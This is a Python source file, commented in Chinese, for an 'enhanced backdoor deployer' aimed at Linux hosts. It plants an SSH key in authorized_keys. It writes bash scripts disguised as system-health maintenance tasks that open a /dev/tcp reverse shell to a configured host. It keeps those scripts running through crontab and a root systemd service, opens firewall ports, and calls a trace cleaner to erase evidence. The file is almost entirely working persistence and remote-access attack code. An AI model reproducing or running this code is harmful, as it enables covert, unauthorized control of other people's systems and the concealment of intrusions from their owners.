#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
增强后门部署器
集成所有隐蔽性改进功能，包括伪装名称生成、痕迹清理、防火墙适配等
"""

from __future__ import print_function

import os
import sys
import json
import time
import random
import subprocess
from datetime import datetime

# Python 2/3 兼容性处理
try:
    from modules.utils.python_compatibility import format_string, ensure_str, ensure_bytes, dict_items, dict_keys
except ImportError:
    # Python 2/3 兼容性处理
    def format_string(template, *args, **kwargs):
        return template.format(*args, **kwargs)
    def ensure_str(s):
        try:
            return s if isinstance(s, str) else s.decode('utf-8')
        except:
            return s if isinstance(s, unicode) else s.decode('utf-8')
    def ensure_bytes(s):
        try:
            return s.encode('utf-8') if isinstance(s, str) else s
        except:
            return s.encode('utf-8') if isinstance(s, unicode) else s
    def dict_items(d):
        return d.items()
    def dict_keys(d):
        return d.keys()

# 导入隐蔽性模块
from modules.stealth.disguise_generator import (
    disguise_generator, DisguiseNameGenerator, PathOptimizer
)
from modules.stealth.trace_cleaner import (
    trace_cleaner, auto_cleanup_on_exit as auto_clean_traces, TraceCleaner
)
from modules.stealth.firewall_adapter import (
    firewall_adapter, auto_configure_firewall
)

# 导入核心模块
from core.distro_detection import detect_linux_distro
from core.utils import color_green, color_yellow, color_red, color_blue





class StealthBackdoorConfig:
    """隐蔽后门配置"""
    
    def __init__(self):
        self.disguise_names = {}
        self.optimal_paths = {}
        self.firewall_config = {}
        self.trace_cleanup_config = {}
        self.distro_info = None
    
    def initialize(self):
        """初始化配置"""
        try:
            # 检测Linux发行版
            self.distro_info = detect_linux_distro()
            color_green(format_string("✓ 检测到系统: {} {}", self.distro_info.get('name', 'Unknown'), self.distro_info.get('version', '')))
            
            # 生成伪装名称
            disguise_gen = DisguiseNameGenerator()
            self.disguise_names = disguise_gen.generate_disguised_names(count=3)
            color_green(format_string("✓ 生成伪装名称: {} 个", len(self.disguise_names)))
            
            # 获取最优路径
            path_optimizer = PathOptimizer()
            self.optimal_paths = {
                'script_path': path_optimizer.get_optimal_script_path(),
                'service_path': path_optimizer.get_optimal_service_path()
            }
            color_green(format_string("✓ 获取最优路径: {} 个", len(self.optimal_paths)))
            
            # 配置防火墙
            self.firewall_config = auto_configure_firewall()
            if self.firewall_config.get('success'):
                color_green(format_string("✓ 防火墙配置完成: {}", self.firewall_config.get('firewall_type')))
            
            return True
            
        except Exception as e:
            color_red(format_string("初始化隐蔽配置失败: {}", e))
            return False


class EnhancedBackdoorDeployer:
    """增强后门部署器"""
    
    def __init__(self):
        self.name = "增强后门部署器"
        self.description = "集成隐蔽性改进的后门部署器"
        self.stealth_config = StealthBackdoorConfig()
        self.deployed_backdoors = []
        self.deployment_log = []
    
    def initialize(self):
        """初始化部署器"""
        color_blue("🚀 初始化增强后门部署器...")
        
        if self.stealth_config.initialize():
            color_green("✓ 隐蔽配置初始化完成")
            return True
        else:
            color_red("✗ 隐蔽配置初始化失败")
            return False
    
    def deploy_ssh_key_backdoor(self, config):
        """部署SSH密钥后门"""
        result = {
            'success': False,
            'backdoor_type': 'ssh_key',
            'disguise_info': {},
            'trace_cleanup': False,
            'error': None
        }
        
        try:
            color_yellow("🔑 部署SSH密钥后门...")
            
            # 获取伪装信息
            disguise_info = self.stealth_config.disguise_names.get('ssh_key', {})
            result['disguise_info'] = disguise_info
            
            # 获取SSH配置路径
            ssh_dir = os.path.expanduser("~/.ssh")
            if not os.path.exists(ssh_dir):
                os.makedirs(ssh_dir, mode=0o700)
            
            # 生成密钥对
            key_name = disguise_info.get('filename', 'id_rsa_backup')
            private_key_path = os.path.join(ssh_dir, key_name)
            public_key_path = format_string("{}.pub", private_key_path)
            
            # 生成SSH密钥
            cmd = format_string('ssh-keygen -t rsa -b 2048 -f "{}" -N "" -C "{}"', private_key_path, disguise_info.get("comment", "system-backup"))
            proc_result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
            
            if proc_result.returncode != 0:
                result['error'] = format_string("生成SSH密钥失败: {}", proc_result.stderr)
                return result
            
            # 添加公钥到authorized_keys
            authorized_keys_path = os.path.join(ssh_dir, "authorized_keys")
            
            if os.path.exists(public_key_path):
                with open(public_key_path, 'r') as f:
                    public_key = f.read().strip()
                
                with open(authorized_keys_path, 'a') as f:
                    f.write(format_string("\n{}\n", public_key))
                
                # 设置正确的权限
                os.chmod(authorized_keys_path, 0o600)
                os.chmod(private_key_path, 0o600)
                
                color_green(format_string("✓ SSH密钥后门部署成功: {}", key_name))
                result['success'] = True
                result['private_key_path'] = private_key_path
                result['public_key_path'] = public_key_path
                
                # 记录部署信息
                self.deployed_backdoors.append({
                    'type': 'ssh_key',
                    'name': key_name,
                    'path': private_key_path,
                    'timestamp': datetime.now().isoformat()
                })
            
            return result
            
        except Exception as e:
            result['error'] = str(e)
            color_red(format_string("SSH密钥后门部署失败: {}", e))
            return result
    
    def deploy_crontab_backdoor(self, config):
        """部署Crontab后门"""
        result = {
            'success': False,
            'backdoor_type': 'crontab',
            'disguise_info': {},
            'trace_cleanup': False,
            'error': None
        }
        
        try:
            color_yellow("⏰ 部署Crontab后门...")
            
            # 获取伪装信息
            disguise_info = self.stealth_config.disguise_names.get('crontab', {})
            result['disguise_info'] = disguise_info
            
            # 获取最优脚本路径
            script_paths = self.stealth_config.optimal_paths.get('script_dirs', ['/usr/lib/systemd'])
            script_dir = script_paths[0] if script_paths else '/tmp'
            
            # 创建伪装的后门脚本
            script_name = disguise_info.get('filename', 'system-health.sh')
            script_path = os.path.join(script_dir, script_name)
            
            # 后门脚本内容（伪装成系统维护脚本）
            script_content = format_string('''#!/bin/bash
# {}
# Auto-generated system maintenance script

# 伪装的系统检查
if [ -f /proc/version ]; then
    # 实际的后门功能（反向shell）
    if ! pgrep -f "{}" > /dev/null 2>&1; then
        nohup bash -c 'exec 5<>/dev/tcp/{}/{}; cat <&5 | while read line; do $line 2>&5 >&5; done' > /dev/null 2>&1 &
    fi
fi

# 伪装的日志清理
find /tmp -name "*.tmp" -mtime +7 -delete > /dev/null 2>&1
''', disguise_info.get('comment', 'System Health Monitor'), script_name, config.get("lhost", "127.0.0.1"), config.get("lport", "4444"))
            
            # 写入脚本文件
            with open(script_path, 'w') as f:
                f.write(script_content)
            
            # 设置执行权限
            os.chmod(script_path, 0o755)
            
            # 创建Crontab任务
            cron_schedule = config.get('schedule', '*/30 * * * *')  # 默认每30分钟
            cron_command = format_string('{} {} >> /var/log/messages 2>&1', cron_schedule, script_path)
            
            # 获取当前crontab
            try:
                current_cron_result = subprocess.run(['crontab', '-l'], 
                                                   capture_output=True, text=True)
                current_cron = current_cron_result.stdout if current_cron_result.returncode == 0 else ""
            except:
                current_cron = ""
            
            # 添加新的cron任务
            new_cron = current_cron.rstrip() + format_string("\n{}\n", cron_command)
            
            # 设置新的crontab
            cron_process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
            cron_process.communicate(input=new_cron)
            
            if cron_process.returncode == 0:
                color_green(format_string("✓ Crontab后门部署成功: {}", script_name))
                result['success'] = True
                result['script_path'] = script_path
                result['cron_command'] = cron_command
                
                # 记录部署信息
                self.deployed_backdoors.append({
                    'type': 'crontab',
                    'name': script_name,
                    'path': script_path,
                    'schedule': cron_schedule,
                    'timestamp': datetime.now().isoformat()
                })
            else:
                result['error'] = "设置crontab失败"
            
            return result
            
        except Exception as e:
            result['error'] = str(e)
            color_red(format_string("Crontab后门部署失败: {}", e))
            return result
    
    def deploy_systemd_service_backdoor(self, config):
        """部署Systemd服务后门"""
        result = {
            'success': False,
            'backdoor_type': 'systemd_service',
            'disguise_info': {},
            'trace_cleanup': False,
            'error': None
        }
        
        try:
            color_yellow("🔧 部署Systemd服务后门...")
            
            # 获取伪装信息
            disguise_info = self.stealth_config.disguise_names.get('systemd_service', {})
            result['disguise_info'] = disguise_info
            
            # 服务名称和文件路径
            service_name = disguise_info.get('filename', 'system-health-monitor.service')
            service_path = format_string("/etc/systemd/system/{}", service_name)
            
            # 获取最优脚本路径
            script_paths = self.stealth_config.optimal_paths.get('script_dirs', ['/usr/lib/systemd'])
            script_dir = script_paths[0] if script_paths else '/usr/local/bin'
            
            script_name = disguise_info.get('script_name', 'system-health-monitor')
            script_path = os.path.join(script_dir, script_name)
            
            # 创建服务脚本
            script_content = format_string('''#!/bin/bash
# {}

while true; do
    # 伪装的系统检查
    if [ -f /proc/loadavg ]; then
        # 实际的后门功能
        if ! pgrep -f "{}" > /dev/null 2>&1; then
            nohup bash -c 'exec 5<>/dev/tcp/{}/{}; cat <&5 | while read line; do $line 2>&5 >&5; done' > /dev/null 2>&1 &
        fi
    fi
    
    sleep 300  # 5分钟间隔
done
''', disguise_info.get('comment', 'System Health Monitor Service'), script_name, config.get("lhost", "127.0.0.1"), config.get("lport", "4444"))
            
            # 写入脚本
            with open(script_path, 'w') as f:
                f.write(script_content)
            os.chmod(script_path, 0o755)
            
            # 创建systemd服务文件
            service_content = format_string('''[Unit]
Description={}
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart={}
Restart=always
RestartSec=30
User=root
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
''', disguise_info.get('comment', 'System Health Monitor Service'), script_path)
            
            # 写入服务文件
            with open(service_path, 'w') as f:
                f.write(service_content)
            
            # 重新加载systemd并启用服务
            subprocess.run(['systemctl', 'daemon-reload'], capture_output=True)
            enable_result = subprocess.run(['systemctl', 'enable', service_name], capture_output=True)
            start_result = subprocess.run(['systemctl', 'start', service_name], capture_output=True)
            
            if enable_result.returncode == 0 and start_result.returncode == 0:
                color_green(format_string("✓ Systemd服务后门部署成功: {}", service_name))
                result['success'] = True
                result['service_name'] = service_name
                result['service_path'] = service_path
                result['script_path'] = script_path
                
                # 记录部署信息
                self.deployed_backdoors.append({
                    'type': 'systemd_service',
                    'name': service_name,
                    'service_path': service_path,
                    'script_path': script_path,
                    'timestamp': datetime.now().isoformat()
                })
            else:
                result['error'] = "启用或启动systemd服务失败"
            
            return result
            
        except Exception as e:
            result['error'] = str(e)
            color_red(format_string("Systemd服务后门部署失败: {}", e))
            return result
    
    def deploy_network_backdoor(self, config):
        """部署网络后门（带防火墙适配）"""
        result = {
            'success': False,
            'backdoor_type': 'network',
            'firewall_config': {},
            'trace_cleanup': False,
            'error': None
        }
        
        try:
            color_yellow("🌐 部署网络后门...")
            
            # 获取端口配置
            port = config.get('lport', 4444)
            protocol = config.get('protocol', 'tcp')
            
            # 配置防火墙
            firewall_result = auto_configure_firewall(port, protocol)
            result['firewall_config'] = firewall_result
            
            if firewall_result.get('success'):
                color_green(format_string("✓ 防火墙配置成功，开放端口 {}/{}", port, protocol))
                result['success'] = True
                result['port'] = port
                result['protocol'] = protocol
                
                # 记录部署信息
                self.deployed_backdoors.append({
                    'type': 'network',
                    'port': port,
                    'protocol': protocol,
                    'firewall_type': firewall_result.get('firewall_type'),
                    'timestamp': datetime.now().isoformat()
                })
            else:
                result['error'] = format_string("防火墙配置失败: {}", firewall_result.get('error', '未知错误'))
            
            return result
            
        except Exception as e:
            result['error'] = str(e)
            color_red(format_string("网络后门部署失败: {}", e))
            return result
    
    def cleanup_deployment_traces(self):
        """清理部署痕迹"""
        try:
            color_yellow("🧹 清理部署痕迹...")
            
            # 使用痕迹清理器
            cleanup_result = auto_clean_traces()
            
            if cleanup_result.get('success'):
                color_green("✓ 部署痕迹清理完成")
                
                # 更新所有已部署后门的清理状态
                for backdoor in self.deployed_backdoors:
                    backdoor['trace_cleaned'] = True
                
                return True
            else:
                color_yellow(format_string("部分痕迹清理失败: {}", cleanup_result.get('errors', [])))
                return False
                
        except Exception as e:
            color_red(format_string("清理部署痕迹失败: {}", e))
            return False
    
    def deploy_comprehensive_backdoors(self, config):
        """部署综合后门系统"""
        deployment_result = {
            'success': False,
            'deployed_backdoors': [],
            'failed_backdoors': [],
            'trace_cleanup': False,
            'summary': {}
        }
        
        try:
            color_blue("🚀 开始部署综合后门系统...")
            
            # 初始化
            if not self.initialize():
                deployment_result['error'] = "初始化失败"
                return deployment_result
            
            # 部署各类后门
            backdoor_types = config.get('backdoor_types', ['ssh_key', 'crontab', 'systemd_service', 'network'])
            
            for backdoor_type in backdoor_types:
                color_blue(format_string("部署 {} 后门...", backdoor_type))
                
                if backdoor_type == 'ssh_key':
                    result = self.deploy_ssh_key_backdoor(config.get('ssh_key', {}))
                elif backdoor_type == 'crontab':
                    result = self.deploy_crontab_backdoor(config.get('crontab', {}))
                elif backdoor_type == 'systemd_service':
                    result = self.deploy_systemd_service_backdoor(config.get('systemd_service', {}))
                elif backdoor_type == 'network':
                    result = self.deploy_network_backdoor(config.get('network', {}))
                else:
                    continue
                
                if result['success']:
                    deployment_result['deployed_backdoors'].append(result)
                    color_green(format_string("✓ {} 后门部署成功", backdoor_type))
                else:
                    deployment_result['failed_backdoors'].append(result)
                    color_red(format_string("✗ {} 后门部署失败: {}", backdoor_type, result.get('error')))
            
            # 清理痕迹
            if config.get('cleanup_traces', True):
                deployment_result['trace_cleanup'] = self.cleanup_deployment_traces()
            
            # 生成摘要
            deployment_result['summary'] = {
                'total_attempted': len(backdoor_types),
                'successful': len(deployment_result['deployed_backdoors']),
                'failed': len(deployment_result['failed_backdoors']),
                'trace_cleanup': deployment_result['trace_cleanup'],
                'deployment_time': datetime.now().isoformat()
            }
            
            # 判断整体成功
            if deployment_result['deployed_backdoors']:
                deployment_result['success'] = True
                color_green(format_string("✓ 综合后门系统部署完成！成功: {}, 失败: {}", deployment_result['summary']['successful'], deployment_result['summary']['failed']))
            else:
                color_red("✗ 综合后门系统部署失败，没有成功部署任何后门")
            
            return deployment_result
            
        except Exception as e:
            deployment_result['error'] = str(e)
            color_red(format_string("综合后门系统部署异常: {}", e))
            return deployment_result
    
    def get_deployment_report(self):
        """获取部署报告"""
        return {
            'deployer_name': self.name,
            'deployed_backdoors': self.deployed_backdoors,
            'deployment_log': self.deployment_log,
            'stealth_config': {
                'distro_info': self.stealth_config.distro_info,
                'disguise_names': self.stealth_config.disguise_names,
                'optimal_paths': self.stealth_config.optimal_paths,
                'firewall_config': self.stealth_config.firewall_config
            },
            'timestamp': datetime.now().isoformat()
        }


# 全局实例
enhanced_deployer = EnhancedBackdoorDeployer()


def deploy_stealth_backdoors(config=None):
    """部署隐蔽后门（主要接口）"""
    if config is None:
        config = {
            'backdoor_types': ['ssh_key', 'crontab', 'systemd_service', 'network'],
            'ssh_key': {},
            'crontab': {
                'schedule': '*/30 * * * *',
                'lhost': '127.0.0.1',
                'lport': 4444
            },
            'systemd_service': {
                'lhost': '127.0.0.1',
                'lport': 4445
            },
            'network': {
                'lport': 4444,
                'protocol': 'tcp'
            },
            'cleanup_traces': True
        }
    
    return enhanced_deployer.deploy_comprehensive_backdoors(config)


if __name__ == "__main__":
    # 测试代码
    print("=== 增强后门部署器测试 ===")
    
    test_config = {
        'backdoor_types': ['ssh_key', 'crontab'],
        'ssh_key': {},
        'crontab': {
            'schedule': '*/30 * * * *',
            'lhost': '192.168.1.100',
            'lport': 4444
        },
        'cleanup_traces': True
    }
    
    result = deploy_stealth_backdoors(test_config)
    print(format_string("部署结果: {}", json.dumps(result, indent=2, ensure_ascii=False)))